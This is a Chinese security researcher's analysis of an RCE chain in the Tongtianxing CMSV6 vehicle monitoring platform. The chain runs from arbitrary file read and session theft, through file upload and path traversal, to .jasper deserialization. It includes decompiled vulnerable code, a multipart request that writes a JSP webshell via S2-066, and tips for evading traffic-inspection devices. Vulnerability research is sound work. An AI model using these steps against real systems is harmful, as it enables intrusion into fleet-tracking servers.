浅析通天星CMSV6车载定位监控平台远程代码执行漏洞

浅析通天星CMSV6车载定位监控平台远程代码执行漏洞

写在前面

看了一下通告看着还是比较有意思的,通天星CMSV6车载定位监控平台远程代码执行漏洞

第一步是通过任意文件读取漏洞,读取log日志获取admin的session信息

第二步通过默认密码登录ftp服务器上传文件(或通过后台任意文件上传漏洞)

第三步触发上传文件中的恶意代码

正文

采用了经典SSH架构

任意文件读取

关于任意文件读取,从官方安全公告也不难看出:

(中危)修复StandardSchoolBusAction_downLoad.action接口任意文件下载问题

漏洞点位于StandardSchoolBusAction的downLoad功能,这部分访问规则的配置看struts2.xml即可

定义了class与mothod的访问方式

1
<action name="**/*_*.action" class="{2}" method="{3}">

经过简单的分析发现,实际漏洞点在com.gpsCommon.action.CommonBaseAction#downLoad,代码逻辑比较简单就不详细分析了,相关代码如下,可以看到读取的文件不仅可以是使用绝对路径,也可以使用相对路径读取任意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
public String downLoad() {
int result = 0;

try {
String filePath = this.getDownloadFileRealPath(this.getRequest());
if ((!filePath.contains("tomcat/") || filePath.contains("tomcat/ttxapps")) && !filePath.contains(".xml") && !filePath.contains("WEB-INF") && !filePath.contains("classes")) {
if (!AssertUtils.isNull(filePath)) {
InputStream ins = null;
BufferedInputStream bins = null;
OutputStream outs = null;
BufferedOutputStream bouts = null;
Integer requestStringEx = this.getRequestInteger("isTure");
Integer isStream = this.getRequestInteger("isStream");
Integer isDel = this.getRequestInteger("isDel");
String fileRealPath = null;
if (requestStringEx != null && requestStringEx == 1) {
fileRealPath = filePath;
} else {
fileRealPath = this.getDownloadFileRealPath(this.getServletContext(), filePath);
}

File file = new File(fileRealPath);
if (file.exists()) {
ins = new FileInputStream(fileRealPath);
bins = new BufferedInputStream(ins);
outs = this.getResponse().getOutputStream();
bouts = new BufferedOutputStream(outs);
if (isStream == null || isStream != 1) {
this.setDownLoadParam(this.getRequest(), this.getResponse(), file.getName());
}

int b = false;
byte[] buffer = new byte[512];

int b;
while((b = bins.read(buffer)) != -1) {
bouts.write(buffer, 0, b);
}

bouts.flush();
ins.close();
bins.close();
outs.close();
bouts.close();
if (isDel != null && isDel == 1 && file.exists()) {
file.delete();
}
} else {
result = 44;
this.addCustomResponse(ACTION_RESULT, 44);
this.addCustomResponse(ACTION_RESULT_TIP, "File Not Exist!");
this.log.error("下载的文件不存在");
}
} else {
result = 8;
this.addCustomResponse(ACTION_RESULT, 8);
this.addCustomResponse(ACTION_RESULT_TIP, "Request Param Error!");
this.log.error("下载文件时参数错误");
}
} else {
result = 24;
this.addCustomResponse(ACTION_RESULT, 24);
this.addCustomResponse(ACTION_RESULT_TIP, "Permission denied!");
this.log.error("用户无权限下载Tomcat内的文件");
}
} catch (Exception var14) {
this.log.error(var14.getMessage(), var14);
result = 4;
this.addCustomResponse(ACTION_RESULT, 4);
this.addCustomResponse(ACTION_RESULT_TIP, "Request Exception!");
}

return this.getReturnParam(result);
}

protected String getDownloadFileRealPath(HttpServletRequest request) {
return this.getRequestStringEx("path");
}


public String getRequestStringEx(String parameter) {
return RequestUtil.getRequestStringEx(parameter);
}

public static String getRequestStringEx(String parameter) {
try {
HttpServletRequest request = getRequest();
if (request == null) {
return null;
} else {
request.setCharacterEncoding("UTF-8");
String param = request.getParameter(parameter);
return param != null ? URLDecoder.decode(param, StandardCharsets.UTF_8) : null;
}
} catch (Exception var3) {
log.error(var3.getMessage(), var3);
return null;
}
}

通过任意文件读取我们能很容易读取到session信息

image-20240518224902529

另外多提一嘴,漏洞点com.gpsCommon.action.CommonBaseAction#downLoad在抽象类当中,通过将tomcat下class手动打包为jar后分析,不难发现实际受影响的路由多达320个,因此实际利用时我们不必拘泥与官方公告提到的一种

image-20240518225312913

后台文件上传

文件上传有两种方式,一种通过FTP服务,如果用户为更改默认密码那么即可使用其登录上传文件

另一种,既然有了session,我们便很容易能够使用此session调用后台接口,比如WebuploaderAction#ajaxAttachAllFileUpload

image-20240518225613963

但很可惜的是代码中有关于上传文件后缀的严格限制,因此我们无法实现直接上传webshell文件

1
2
String getsuffix = getsuffixEx(fileName);
if (!limitType(getsuffix)) {

反序列化

但我们不必灰心,在公告中我们不难发现上传了一些名为jasper后缀的文件

image-20240518230403232

因此我们需要去寻找加载恶意jasper文件的路由,在com.gps808.operationManagement.action.StandardLineAction#report

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public void report() {
try {
String format = this.getRequestString("format");
String name = this.getRequestString("name");
String lid = this.getRequestString("id");
String direct = this.getRequestString("direct");
String disposition = this.getRequestString("disposition");
String reportTitle = "";
StandardCompany line = (StandardCompany)this.standardLineService.getObject(StandardCompany.class, Integer.parseInt(lid));
if (line != null) {
reportTitle = line.getName();
if (direct != null) {
if (direct.equals("0")) {
reportTitle = reportTitle + "S";
} else if (direct.equals("1")) {
reportTitle = reportTitle + "X";
}
}
}

AjaxDto<StandardLineStationRelationStation> stationRelation = this.standardLineService.getLineStationInfos(Integer.parseInt(lid), Integer.parseInt(direct), 1, " order by sindex asc ", (Pagination)null);
List<Map> list = new ArrayList();
String language = this.getAndUpdateSessionLanguage();
if (stationRelation != null && stationRelation.getPageList() != null) {
int i = 0;

for(int j = stationRelation.getPageList().size(); i < j; ++i) {
StandardLineStationRelationStation relation = (StandardLineStationRelationStation)stationRelation.getPageList().get(i);
Map map = new HashMap();
map.put("sindex", relation.getSindex());
map.put("name", relation.getStation().getName());
map.put("direct", this.getStationDirectEx(relation.getStation().getDirect(), language));
map.put("stype", this.getStationTypeEx(relation.getStype(), language));
map.put("lngIn", GpsUtil.formatPosition(relation.getStation().getLngIn()));
map.put("latIn", GpsUtil.formatPosition(relation.getStation().getLatIn()));
map.put("angleIn", relation.getStation().getAngleIn());
map.put("speed", GpsUtil.getFormatSpeed(relation.getSpeed(), 1, new Boolean[0]));
map.put("len", GpsUtil.getFormatLiCheng(relation.getLen()));
list.add(map);
}
}

Map mapHeads = new HashMap();
mapHeads.put("sindex", LanguageCache.getLanguageTextEx("line_station_index", language));
mapHeads.put("name", LanguageCache.getLanguageTextEx("line_station_name", language));
mapHeads.put("direct", LanguageCache.getLanguageTextEx("line_station_direction", language));
mapHeads.put("stype", LanguageCache.getLanguageTextEx("line_station_type", language));
mapHeads.put("lngIn", LanguageCache.getLanguageTextEx("line_station_in_lng", language));
mapHeads.put("latIn", LanguageCache.getLanguageTextEx("line_station_in_lat", language));
mapHeads.put("angleIn", LanguageCache.getLanguageTextEx("line_station_in_angle", language));
mapHeads.put("speed", LanguageCache.getLanguageTextEx("line_station_limit_speed", language) + " (KM/H)");
mapHeads.put("len", LanguageCache.getLanguageTextEx("line_station_distance", language) + " (KM)");
ReportPrint print = null;

try {
print = this.getReportCreate().createReport(name);
print.setMapHeads(mapHeads);
print.setReportTitle(reportTitle);
print.setDateSource(list);
print.setFormat(format);
print.setDocumentName(name);
print.setDisposition(disposition);
print.exportReport();
} catch (IOException var15) {
this.log.error(var15.getMessage(), var15);
} catch (ServletException var16) {
this.log.error(var16.getMessage(), var16);
} catch (Exception var17) {
this.log.error(var17.getMessage(), var17);
}
} catch (Exception var18) {
this.log.error(var18.getMessage(), var18);
this.addCustomResponse(ACTION_RESULT, 1);
}

}

在这些代码中我们重点关注this.getReportCreate().createReport(name);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// com.gpsCommon.action.CommonBaseAction
protected ReportCreater getReportCreate() {
if (this.reportCreate == null) {
this.reportCreate = new ReportCreater();
this.reportCreate.setJasperReportPath(ServletActionContext.getServletContext().getRealPath("WEB-INF\\jasper"));
}

return this.reportCreate;
}

// com.framework.jasperReports.ReportCreater#createReport
public ReportPrint createReport(String reportKey) throws IOException {
try {
return this._createReport(reportKey);
} catch (JRException var3) {
this.log.error(var3.getMessage(), var3);
throw new IOException();
}
}

继续跟进_createReport的调用,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// com.framework.jasperReports.ReportCreater
private ReportPrint _createReport(String reportKey) throws JRException, IOException {
JasperReport jasperReport = this.getJasperReport(reportKey);
Map parameters = this.getParameters_(reportKey);
ReportPrint reportPrint = new ReportPrint(jasperReport, parameters);
return reportPrint;
}

private JasperReport getJasperReport(String reportKey) throws IOException, JRException {
JasperReport jasperReport = null;
if (this.jasperDesignMap.containsKey(reportKey)) {
jasperReport = (JasperReport)this.jasperDesignMap.get(reportKey);
} else {
jasperReport = this.getJasperReportFromFile(reportKey);
this.jasperDesignMap.put(reportKey, jasperReport);
}

return jasperReport;
}

private JasperReport getJasperReportFromFile(String reportKey) throws IOException, JRException {
String filePath = this.jasperReportPath + "\\" + reportKey + ".jasper";
File reportFile = null;
JasperReport jasperReport = null;
reportFile = new File(filePath);
if (reportFile.exists() && reportFile.isFile()) {
jasperReport = (JasperReport)JRLoader.loadObject(reportFile);
}

return jasperReport;
}


// net.sf.jasperreports.engine.util.JRLoader

public static Object loadObject(File file) throws JRException {
return loadObject(DefaultJasperReportsContext.getInstance(), (File)file);
}

public static Object loadObject(JasperReportsContext jasperReportsContext, File file) throws JRException {
if (file.exists() && file.isFile()) {
Object obj = null;
FileInputStream fis = null;
ObjectInputStream ois = null;

try {
fis = new FileInputStream(file);
BufferedInputStream bufferedIn = new BufferedInputStream(fis);
ois = new ContextClassLoaderObjectInputStream(jasperReportsContext, bufferedIn);
obj = ois.readObject();
} catch (IOException var17) {
throw new JRException("util.loader.object.from.file.loading.error", new Object[]{file}, var17);
} catch (ClassNotFoundException var18) {
throw new JRException("util.loader.class.not.found.from.file", new Object[]{file}, var18);
} finally {
if (ois != null) {
try {
ois.close();
} catch (IOException var16) {
}
}

if (fis != null) {
try {
fis.close();
} catch (IOException var15) {
}
}

}

return obj;
} else {
throw new JRException(new FileNotFoundException(String.valueOf(file)));
}
}

从以下调用链不难发现最终会通过文件内容触发反序列化执行,并且在这过程中文件名未做校验可以穿越到FTP服务目录下

com.framework.jasperReports.ReportCreater#_createReport=>com.framework.jasperReports.ReportCreater#getJasperReport=>com.framework.jasperReports.ReportCreater#getJasperReportFromFile=>net.sf.jasperreports.engine.util.JRLoader#loadObject=>net.sf.jasperreports.engine.util.ContextClassLoaderObjectInputStream#readObject

因此最终漏洞的完整利用就出来了

尝试突破文件上传限制

但我们也知道如果仅仅是依赖ftp默认用户名实现文件上传的话那可就太难了,在开始前简单聊一下struts2的配置

在配置中写到了action的访问方式,但我们的路由访问并未出现全类名,那它是怎么找到具体的类的呢?

1
<action name="*_*.action" class="{1}" method="{2}">

经过查找,可以在applicationContext-xxxx.xml中定义的bean中找到答案,我们可以直接使用bean-name得到这个类

1
2
<bean name="StandardApiAction" class="com.gps808.api.action.StandardApiAction" scope="prototype" parent="standardUserBaseAction">
xxxxxx

而如果这个类未在xml中定义我们就需要使用全类名来标识这个类,此时我们便可以将目标锁定到com.framework.web.action.FileUploadAction#upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.framework.web.action;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.List;

public class FileUploadAction extends BaseAction {
private static final long serialVersionUID = 1L;
private String describe;
private List<File> uploadFile;
private List<String> uploadFileFileName;
private List<String> uploadFileContentType;

public FileUploadAction() {
}

public boolean hasOperatorPrivi() {
return true;
}

public void upload() {
for(int i = 0; i < this.uploadFileFileName.size(); ++i) {
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
String fileName = (String)this.uploadFileFileName.get(i);

try {
if (!"".equals(fileName)) {
FileInputStream fis = new FileInputStream((File)this.uploadFile.get(i));
FileOutputStream fos = new FileOutputStream("C:\\" + fileName);
bis = new BufferedInputStream(fis);
bos = new BufferedOutputStream(fos);
byte[] b = new byte[1024];
int len = true;

int len;
while((len = bis.read(b)) != -1) {
bos.write(b, 0, len);
}
}
} catch (Exception var17) {
} finally {
try {
if (bis != null) {
bis.close();
}

if (bos != null) {
bos.close();
}
} catch (IOException var16) {
}

}
}

}

public String image() throws Exception {
try {
this.upload();
} catch (Exception var2) {
this.log.error(var2.getMessage(), var2);
this.addCustomResponse(ACTION_RESULT, 1);
}

return "success";
}

public String getDescribe() {
return this.describe;
}

public void setDescribe(String describe) {
this.describe = describe;
}

public List<File> getUploadFile() {
return this.uploadFile;
}

public void setUploadFile(List<File> uploadFile) {
this.uploadFile = uploadFile;
}

public List<String> getUploadFileFileName() {
return this.uploadFileFileName;
}

public void setUploadFileFileName(List<String> uploadFileFileName) {
this.uploadFileFileName = uploadFileFileName;
}

public List<String> getUploadFileContentType() {
return this.uploadFileContentType;
}

public void setUploadFileContentType(List<String> uploadFileContentType) {
this.uploadFileContentType = uploadFileContentType;
}
}

可以在代码中看到直接的路径拼接,FileOutputStream fos = new FileOutputStream("C:\\" + fileName);,因此我们便可以直接上传jasper文件并触发反序列化了

另一方面既然可以任意写入,我们很容易想到在子目录下写入webshell文件,但由于是struts2的上传处理,在org.apache.struts2.interceptor.FileUploadInterceptor中,在这个拦截器最终获取文件名时,会处理带\以及/的文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
protected String getCanonicalName(final String originalFileName) {
String fileName = originalFileName;

int forwardSlash = fileName.lastIndexOf('/');
int backwardSlash = fileName.lastIndexOf('\\');
if (forwardSlash != -1 && forwardSlash > backwardSlash) {
fileName = fileName.substring(forwardSlash + 1);
} else {
fileName = fileName.substring(backwardSlash + 1);
}
return fileName;
}

这时候怎么办呢?我们知道struts2在23年年底出了一个新漏洞,这时候便可以排出用场了,忘了的可以回顾我之前的文章,Apache Struts2 文件上传分析(S2-066)

因此我们便能够构造,达到前台RCE的效果

1
2
3
4
5
6
7
8
9
10
11
--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv
Content-Disposition: form-data; name="UploadFile";filename="z12.jsp";
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

<%out.print("Hacked By Y4tacker");%>
--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv
Content-Disposition: form-data; name="uploadFileFileName";

Program Files\CMSServerV6\tomcat\webapps\gpsweb\1.jsp
--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv--

但很可惜新版本中struts2的依赖更新到了2.5.33的安全版本,并且将com.framework.web.action.FileUploadAction#upload强行设置了路径404并移除了上传处理逻辑,因此在新版本中也便失效了

结合S2的漏洞时间可以大胆猜测也许是在年底前删除的?当然由于我没有代码所以无处验证了,在实战环境中可以多做尝试

对抗流量设备的一些尝试

  • 不仅仅可以读取log_info.log获取用户session,还可以尝试读取web.xml文件,在当中配置了Druid监控的用户名以及密码,在老版本中这个配置默认启用,新版本中druid监控成为了可选项,但不失为一种漏洞利用的尝试

  • 使用全类名替代bean的获取形式,假如流量设备拦截路由为/StandardABCAction_downLoad,我们完全可以使用/com.xxx.xxxxAction_downLoad的形式尝试绕过

  • 我们不仅可以使用官方公告中使用的StandardSchoolBusAction路由,经过分析凡是继承了com.gpsCommon.action.CommonBaseAction的类均能使用